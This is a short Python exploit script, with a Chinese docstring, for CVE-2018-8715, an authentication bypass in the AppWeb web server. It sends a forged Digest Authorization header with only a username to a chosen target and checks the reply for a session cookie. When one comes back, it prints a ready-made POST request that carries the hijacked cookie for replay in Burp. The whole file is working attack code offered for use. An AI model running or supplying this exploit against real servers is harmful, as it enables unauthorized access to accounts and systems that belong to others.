'''
AppWeb认证绕过漏洞 CVE-2018-8715 exp
writen by ophxc
'''
import requests
import argparse
from urllib.parse import urlparse

parser=argparse.ArgumentParser(description="usage of CVE-2018-8715")
parser.add_argument("-u","--url",help="the target url",required=True)
parser.add_argument("-n","--name",help="the username you know",required=True)
args=parser.parse_args()

url=args.url
username=args.name

print("The target url is : "+ url)
print("The username is : "+username+"\nNow,checking...")

headers = {
    'Host': url,
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.8',
    'Cache-Control': 'max-age=0',
    'Authorization':'Digest username='+username,
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0'
}
o=url
url="http://"+url
head = requests.get(url, headers=headers, timeout=10)
http_urlo=urlparse(head.url)
http_urln="%s://%s/" % (http_urlo.scheme,http_urlo.netloc)

reponse=requests.post(url=http_urln,headers=headers)
data=reponse.headers
if "-http-session-" in data['Set-Cookie']:
    print("This place can be exploit by CVE-2018-8715\n")
    print("please put this exp in your burp:\n")
    print(
        "POST / HTTP/1.1\nHost:" + o + "\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: " +
        data[
            'Set-Cookie'] + "\nAuthorization: Digest username=" + username + "\nContent-Type: application/x-www-form-urlencoded\nContent-Length: " + str(
            len("username=" + username)) + "\n\nusername=" + username)
else:
    print("ohh , no ")

